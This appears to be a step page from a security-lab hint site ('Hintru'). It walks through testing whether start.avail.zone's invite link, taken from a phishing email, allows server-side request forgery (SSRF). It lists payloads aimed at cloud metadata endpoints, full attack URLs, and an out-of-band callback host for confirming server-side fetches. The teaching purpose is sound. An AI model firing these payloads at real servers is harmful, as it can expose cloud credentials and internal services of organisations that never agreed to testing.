A phishing/spam email promotes a 'free partnership tool' at start.avail.zone. The invite URL passes a domain through a query parameter — what does the server actually do with it? Investigate the request flow and find an abuse path that could turn this 'invite' into something nastier.
Objective: Determine whether the server itself fetches the supplied URL, enabling SSRF against internal or cloud metadata services.
Context: If the backend fetches the `website` value server-side (e.g. to scrape the target site, take a screenshot, or verify it exists), the vulnerability escalates from Open Redirect to SSRF.
Only reveal the ones you need. Claude tracks how many you used to calibrate the feedback.
Set up an out-of-band listener (Burp Collaborator, interactsh, or a simple netcat/HTTP server on a VPS). Supply its address in the `website` parameter and check for inbound connections that originate from the avail.zone server — not your browser.
SSRF payloads to try:
- Your Collaborator URL (confirms server-side fetch)
- http://169.254.169.254/latest/meta-data/ (AWS IMDSv1)
- http://metadata.google.internal/ (GCP)
- http://169.254.169.254/metadata/v1/ (DigitalOcean)
Use:
https://start.avail.zone/build-connections?website=http://169.254.169.254/latest/meta-data/
or
https://start.avail.zone/build-connections?website=https://YOUR-ID.oastify.com
If Collaborator logs an HTTP request from an IP belonging to avail.zone's infrastructure, SSRF is confirmed. If the page reflects content from the internal URL, it's a blind→semi-blind SSRF.
Chat with a spoiler-safe tutor for this step. It uses only this lab spec and gives the smallest useful nudge first.
Tell the tutor what you tried, where you got stuck, or paste the response/error you are seeing.
Enjoying Hintru? Buy me a coffee ☕ ☕